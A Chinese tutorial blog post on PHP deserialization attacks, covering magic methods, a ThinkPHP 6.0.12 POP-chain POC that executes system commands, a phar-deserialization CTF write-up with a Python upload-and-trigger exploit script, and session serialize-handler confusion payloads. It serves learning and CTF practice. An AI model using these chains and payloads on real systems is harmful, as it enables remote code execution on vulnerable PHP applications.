PHP反序列化:

这篇文章的目的有两个:一个是帮助小白入门,一个是我自己对php反序列化的知识梳理与总结

php类与方法:(默认读者是小白)

类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。

<?php
//创建类
class people{
   //定义类属性(类似变量),public 代表可见性(公有)
    public $name = 'joker';

   //定义类方法(类似函数)
   public function smile(){
        echo $this->name." is smile...\n";
   }
}

$haha = new people(); //实例化:new,类产生对象的过程,$haha则是对象
$haha->smile();//调用smile方法
?>

了解类与方法这些基本定义,才能看懂后文php反序列化到底在干嘛

序列化定义和作用:

序列化把对象转化为可传输的字节序列过程称为序列化。

反序列化把字节序列还原为对象的过程称为反序列化。

作用:(抄的)

其实序列化最终的目的是为了对象可以跨平台存储,和进行网络传输。而我们进行跨平台存储和网络传输的方式就是IO,而我们的IO支持的数据格式就是字节数组。

因为我们单方面的只把对象转成字节数组还不行,因为没有规则的字节数组我们是没办法把对象的本来面目还原回来的,所以我们必须在把对象转成字节数组的时候就制定一种规则(序列化),那么我们从IO流里面读出数据的时候再以这种规则把对象还原回来(反序列化)。

如果我们要把一栋房子从一个地方运输到另一个地方去,序列化就是我把房子拆成一个个的砖块放到车子里,然后留下一张房子原来结构的图纸,反序列化就是我们把房子运输到了目的地以后,根据图纸把一块块砖头还原成房子原来面目的过程

总结:

序列化是用特定的格式将数据存储起来方便数据的传输。反序列化则是逆向解释特定格式中的数据,将储存的数据还原。

php反序列化:

serialize()函数 :php里面的值都可以使用serialize()来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回php原来的值。

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法只会保存类的名字

原因:我个人总结就是反序列化处的参数用户可控(意味着我可以传入危险的的字节流),服务器接收我们序列化后的字符串并且未经过滤把其中的变量(变量可以是属性的值,绝不能是方法的值,上文提到过php反序列化不保存对象的方法),将变量放入一些魔术方法里面执行,产生漏洞。

写一个简单的例子:

<?php
class haha {
    public $test;
    //这里_destruct()函数是php的魔术方法:destruct():当对象被销毁时会自动调用。(实例化创建对象和反序列化生成对象都会调用),等会再讲魔术方法,先不急
    function __destruct() {
        $this->test->action();
    }
}

class Evil {
    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

上文提到,通过反序列化我们可以控制类的属性。这里就可以通过get请求传入一段字节流通过unserialize()反序列化,来控制haha与evil类里面的属性。可以看到eval类里面有eval()危险函数,通过 ,haha里面有destruct可以控制test属性,刚好又有$this->test->action();修改test属性为Evil就能执行Evil->action()了

playload:

<?php
class haha {
    public $test;
/*注释掉(别看这段代码,没用,想到了就写下来)
    private $test;
    function __construct()//这里再介绍一个魔术方法construct():当对象创建时会自动调用(在序列化的时候自动调用)。
     {
        $this->test = new Evil;
    }   
*/
}


class Evil {

    var $test2 = "phpinfo();";

}

$Akalian = new haha;
$Akalian->test =new Evil;
$data = serialize($Akalian);
echo $data;

生成的字节流:      O:4:"haha":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

传入,得到phpinfo验证成功。

好,你会发现O:4:"haha":1:{s:4:"test";s:4:"Evil";}   这串字符长得很抽象,那么它具体含义是什么呢:(去网上找了张图,看图好理解点),对着分析一下,很好理解

经过一个简单的反序列化例子,你应该理解了反序列化的原理,接下来我们讲讲php反序列化的魔术方法,上文的案例中,思考一下,会发现非常不符合实际场景,没有开发者会给一个明晃晃的危险函数和显而易见的$this->test->action();让你从haha类调用Evil类的eval方法。

php魔术方法:

wakeup() //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作_;

注:执行unserialize()时destruct wakeup construct 都有时,先触发wakeup函数 ,不会执行construct函数,后执行destruct

__construct() //PHP5允许在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法

destruct()//对象销毁时触发

__sleep() //使用serialize()时触发

call() //在对象上下文中调用不可访问或不存在的方法时触发 ,通常用于错误处理,防止脚本因为调用错误而终止执行

call_user_func //如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。

<?php highlight_file(FILE);
class fun{ 
    function __call($a,$b){ \当调用的方法不存在时,执行 
    echo 11; } 
    } 
    $a = new fun(); 
    call_user_func(array($a,"aaaas")); 
    //这里执行aaaas方法,但并不存在,调用了call()方法
?> 

在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发。调用一个错误的方法的时候(或者说是没有这个方法,不可访问的方法),触发。

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据,通常用于设置和获取对象私有属性

例如从对象外部访问由privateprotect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名或者访问没有这个属性触发。

set() //用于将数据写入不可访问的属性,通常用于设置和获取对象私有属性 调用一个不存在的成员变量的同时给这个不存在的成员变量赋值isset() //在不可访问的属性上调用isset()或empty()触发 unset() //在不可访问的属性上使用unset()时触发清除空间

__set_state()//调用var_export()导出类时,此静态方法会被调用。

isset:作用:判断是否传递了参数

触发:当对不可访问属性调用isset()或empty()调用(类外调用私有属性)不可访问

__invoke() //当脚本尝试将对象调用为函数时触发,调用函数的方式调用一个对象时的回应方法

clone() //当把一个对象赋给另一个对象时自动调用,_clone(),当对象复制完成时调用

__autoload()//尝试加载未定义的类

__debugInfo()//打印所需调试信息

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) var_dump 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists()的参数file_exists($filename)),$filename为一个对象 的时候

 这是网友总结的,我又加了点,比较全,ctf喜欢考php反序列化

为什么要提到这些魔法方法?

我们上面讲过,在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。

但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但没关系,因为我们有魔法方法。

魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

总结:魔术方法将php反序列化变复杂的同时,也扩大了漏洞的利用程度,往往我们就是通过魔术方法层层递进来进行攻击。

提到了ctf,那么有几个要点我们也要注意

  1. 一般做题时应当直接将序列化后的字符串进行urlencode,如果直接打印在浏览器上其中的%00不会显示,手动复制是没有 %00的。

  2. 序列化只序列化属性不序列化方法(函数)。再次提及。

 至于学习魔术方法,找一道简单的php反序列化的题目,试着去做吧。

2022深信杯easy_ser-CSDN博客

这题的链条不难找,CG机制算是盲点,先试着找链条就好

上文的写作顺序是层层递进的,从基础知识到反序列化的利用。写的时候我也迷惑,我真的该写这些东西吗,网上写的好的文章比比皆是,我写的不算好。但我想既然下笔,便是我赤诚之心,我写的小心翼翼,怕你会看不懂,也怕我会漏些什么。

 如果你看到了这里,那么我想给你讲的东西就差不多了,这就是基础部分,顺带一提,我用的笔记软件叫typora,还挺好用。em,再一提,多使用Google,好的搜索引擎会让你事半功倍

接下来我要梳理的是我的所学:

层层递进,反序列化开始变得复杂(代码审计):

pop链:

ThinkPHP6.0.12LTS反序列化漏洞复现:

反序列化的入口一般是__wake()__destruct()或者__construct(),所以我们直接全局搜索,定位到vendor\topthink\think-orm\src\Model.php

可以发现当$this->lazySave为true时,就会执行$this->save()。继续跟进$this->save()

其中漏洞方法为updateData()。因此我们需要先绕过第一个if语句:

跟进$this->isEmpty()方法:

发现这里判断$this->data这个变量是否为空,绕过也很简单,给$this->data赋值即可。接着跟进$this->trigger()

发现只要我们将$this->withEvent设为false,那么$this->trigger()就会返回true,从而使得false===true,结果为false,成功绕过if来到536行的反序列化链漏洞点:

这里将$this->exists设为true即可调用$this->updateData方法。跟进$this->updateData()

这里调用了$this->checkAllowFields()方法,跟进一下:

跟进后,发现这里调用了$this->db()方法,继续跟进$this->db方法:

发现如果$this->table不为空的话,就会将$this->table$this->suffix进行拼接,同时调用table方法进行处理。这里进行了拼接操作,因此我们可以全局搜索一下是否有__toString()方法,这样我们只需要将$this->table$this->suffix其中一个赋值为__toString()所在的类,即可调用该__toString方法。全局搜索后,定位到vendor\topthink\think-orm\src\model\concern\Conversion.php:

这里调用了$this->toJsong()方法,跟进一下:

继续跟进$this->toArray(): 

发现这里的$data变量是将$this->data$this->relation进行合并,接着遍历$data这个数组,最终执行图中箭头所示的代码,执行$this->getAttr($key)。可以发现如果我们可以控制$this->data$this->relation其一,我们就可以控制这个$key,也就是控制$this->getAttr()的参数。那么跟进一下$this->getAttr()

发现这里的$this->getData()传入了我们的可控参数$name,跟进一下:

$this->getRealFieldName()方法中传入了可控参数$name,继续跟进:

发现这里默认返回的就是我们传入的可控参数$name。那么也就是说getData()中的$fieldName可控,那么紧接着的是getData()中返回的值($this->data[$filedName])可控,然后就是getAttr()中的$value可控,这一点可以通过观察上面三副图片可以知道。

发现getAttr()中的$value可控,那么接下来就是getAttr()中的$this->getValue()了,跟进一下:

 其中$fieldName = $this->getRealFieldName($name);getRealFieldName()我们刚刚看了,默认返回的就是$name,因此这里的$fieldName的值就是$name。接着审计,可以发现$this->getJsonValue()中传入的两个参数都是我们可控的。跟进一下这个函数:

我们看一下我们可控的参数:$name,$value,$this->withAttr。审计一下这段遍历数组的部分,因为这里遍历的是$this->withAttr[$name],因此我们需要将$this->withAttr[$name]设为一个数组。并且还可以发现$value也应该是一个数组。那么至此思路就很明显了:

$this->data=['rainb0w'=>['temp'=>'whoami']] # $name此时为'akalian',$value为['temp'=>'whoami']
进入getJsonValue()
$this->withAttr=['akalian'=>['temp'=>'system']] 
进行遍历操作时,遍历的数组就是$this->withAttr['akalian'],也就是['temp'=>'system']这个数组。其中$key为temp,$closure为system
$this->jsonAssoc = true,进入if
$value['temp'] = system('whoami',$value)

至此POP链已经找完了。接下来就是写POC了。不过在写POC的之前,我们先在app/controller/index.php中加入我们的测试代码:

首先入口是Model类中的__desruct()方法:

这里需要将$this->lazySave设为true,接着进入$this->save()

这里需要将$this->data不设为空,使得$this->isEmpty()的值为false。$this->withEvent设为false,使得$this->trigger()返回ture,从而使得false===true,绕过if。接着将$this->exists的值设为true,执行$this->updateData()。 

因此此时的POC如下:

<?php
namespace think{
    abstract class Model{
        private $lazySave;
        private $data;
        protected $withEvent;
        private $exists;
        public function __construct()
        {
            $this->lazySave = true;
            $this->data = ['rainb0w'=>['temp'=>'whoami']];
            $this->withEvent = false;
            $this->exists = true;
        }
    }
}

这样一部分一部分地写POC也是为了更方便的去了解整个POC的编写流程。继续根据上面的分析,编写POC。

接下来就是从跟进$this->updateData()那里开始了,发现需要将$this->table$this->suffix这两个其中一个new一个Conversion类,但是需要注意的是,Conversion类是被trait修饰的类,并不是一个可实例化的类:

这是文档中关于trait的解释:

因此接下来,我们需要找一下谁use了这个Conversion类,全局搜索一下,发现正是刚刚的Model类:

但是Model类是个抽象类abstract,也无法被调用,我们需要再找一下谁use了Model类,继续全局搜索,有符合的很多类,但是大多数师傅们都选的是这个Pivot类,因此我们这里也来使用一下吧: 

继续编写一部分POC: 

<?php
namespace think{
    abstract class Model{
        private $lazySave;
        private $data;
        protected $withEvent;
        private $exists;
        protected $table;
        public function __construct($obj = '')
        {
            $this->lazySave = true;
            $this->data = ['rainb0w'=>['temp'=>'whoami']];
            $this->withEvent = false;
            $this->exists = true;
            $this->table = $obj;
        }
    }
}
​
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
​
    }
}
​
namespace{
    echo urlencode(serialize(new think\model\Pivot(new think\model\Pivot())));
}

 接着从toJson()那里的分析往下看:

这里的$data的值就是$this->data的值,调用了$this->getAttr($key),其中的$key就是$this->data中的’rainbow’。跟进$this->getAttr()

根据上面的分析,这个$value就是$this->data['rainb0w']。接着从跟进$this->getValue()的分析那里继续走:

如果想调用$this->getJsonValue(),我们就要进入if语句。因此$this->json应该被设为array('rainb0w')$this->withAttr['rainb0w']应该是一个数组。

getJsonValue()

 

这里的$this->withAttr需要的值也在上面的分析中给出,同时也要让$this->jsonAssoc的值应该是true,这样才能进入if中。因此可以编写出全部的POC了: 

<?php
namespace think{
    abstract class Model{
        private $lazySave;
        private $data;
        protected $withEvent;
        private $exists;
        protected $table;
        protected $json;
        protected $jsonAssoc;
        private $withAttr;
        public function __construct($obj = '')
        {
            $this->lazySave = true;
            $this->data = ['rainb0w'=>['temp'=>'whoami']];
            $this->withEvent = false;
            $this->exists = true;
            $this->table = $obj;
            $this->json = array('rainb0w');
            $this->jsonAssoc = true;
            $this->withAttr = ['rainb0w'=>['temp'=>'system']];
        }
    }
}
​
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
​
    }
}
​
namespace{
    echo urlencode(serialize(new think\model\Pivot(new think\model\Pivot())));
}
​

学习pop链,浮现漏洞是必要的。思路不简单,但是有迹可循。

在index.php内添加反序列化点,测试即可成功

回顾一下原先 PHP 反序列化攻击的必要条件

(1)首先我们必须有 unserailize() 函数
(2)unserailize() 函数的参数必须可控

这两个是原先存在 PHP 反序列化漏洞的必要条件,没有这两个条件你谈都不要谈,根本不可能,但是从2017 年开始 Orange 告诉我们是可以的,即phar反序列化

Phar反序列化:

 在 2017 年的 hitcon Orange 的一道 0day 题的解法令人震惊,Orange 通过他对底层的深度理解,为 PHP 反序列化开启了新的篇章,在此之后的 black 2018 演讲者同样用这个话题讲述了 phar:// 协议在 PHP 反序列化中的神奇利用,那么接下来就让我们分析他为什么开启了 PHP 反序列化的新世界,以及剖析一下这个他的利用方法。

2.phar反序列化的作用

phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

如何创建一个合法的 Phar压缩文件:

示例代码:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar

    $phar->startBuffering();

    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

    $o = new TestObject();

    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算

    $phar->stopBuffering();
?>

因为不是文本文件,我们使用 hexdump 看一下文件的内容

可以清楚地看到我们的 TestObject 类已经以序列化的形式存入文件中

我们刚刚说过了,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化:

NSSCTF Round#4 Team-1zweb(revenge)

index.php:

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){//__wakeup执行后__construct并不会执行
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){//需要绕过__wakeup,更改序列化属性个数即可绕过
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/i", $file)) {
    	die("nonono");
    }
    echo file_get_contents($file);
}

upload.php:

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");//ban掉了明文的stub标识
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

分析源码可知ban掉了 __HALT_COMPILER(); 标识,没有这个是不认phar的,这个可以使用gzip压缩进行绕过 

__wakeup 修改序列属性个数即可绕过,注意修改完phar文件后还需重新签名,用上文的脚本即可

 生成phar:

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct($ljt, $dky, $cmd){
        $this->ljt = $ljt;
        $this->dky = $dky;
        $this->cmd = $cmd;
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss("Misc", "Re", "cat /flag");
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

修改签名并上传文件,访问后触发phar反序列化拿到flag

exp:

import requests
from hashlib import sha1
import gzip
import re
def getPhar():
    with open('phar.phar', 'rb') as file:
        f = file.read()
    s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
    s = s.replace(b'3:{', b'4:{')# 绕过__wakeup
    h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
    newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
    return gzip.compress(newf)# 进行gzip压缩

def upload(file):
    burp0_url = "http://1.14.71.254:28403/upload.php"
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://1.14.71.254:28403", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
    burp0_data = b"------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"phar.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n" + file + b"\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8--\r\n"
    # 注意数据类型为byte类型,应该file为byte类型,相同数据类型才能合并
    requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

def getFlag():
    burp0_url = "http://1.14.71.254:28403/"
    burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Origin": "http://1.14.71.254:28403", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
    burp0_data = {"file": "phar://./upload/phar.jpg/test.txt", "submit": ''}
    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    return re.findall('(NSSCTF\{.*?\})', res.text)[0] 

if __name__ == '__main__':
    upload(getPhar())
    print(getFlag())

运行得到flag

php反序列化-ctf篇:

自此我已经写的有气无力了,再一个难度递增结束。之前的几道题代码看的我头昏,接下来的总结我就贴两链接:

phar反序列化:

看上面就行,虽然写的烂,但是基本是差不多的,这一块没有很好的文章研究

php原生类也是ctf的重点:

PHP 原生类的利用小结 - 先知社区

php反序列化字符串逃逸:

PHP反序列化 — 字符逃逸 - 先知社区

Session反序列化:

我抄我自己,哈哈

重点:默认不启动session_star和默认解释器是php所以当环境可以开启session.start和ini_set的时候我们就可以

通过ini_set修改php解释器配置为php_serialize,此时传入序列化内容,之后解释器重置为php,再通过php解释器实例化内容从而造成基本漏洞。

简介:

在php.ini中存在三项配置项:

 session.save_path=""   --设置session的存储路径
 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
 session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
 session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。 在使用xampp组件安装中,上述的配置项的设置如下:

 session.save_path="D:\xampp\tmp"    表明所有的session文件都是存储在xampp/tmp下
 session.save_handler=files          表明session是以文件的方式来进行存储的
 session.auto_start=0                表明默认不启动session
 session.serialize_handler=php       表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

    在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

     <?php
     ini_set('session.serialize_handler', 'php_serialize');
     session_start();
     // do something

没有ini_set()

有call_user_func($a,$b)函数且两个参数都可控制可以直接$a = session_start $b=serialize_handler=php_serialize

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。 假设我们的环境是xampp,那么默认配置如上所述。 在默认配置情况下:

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。 假设我们的环境是xampp,那么默认配置如上所述。 在默认配置情况下:

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。 如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。 这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、 s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }
    
    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。 此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

wp:

best php revenge 1:

CSDN

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值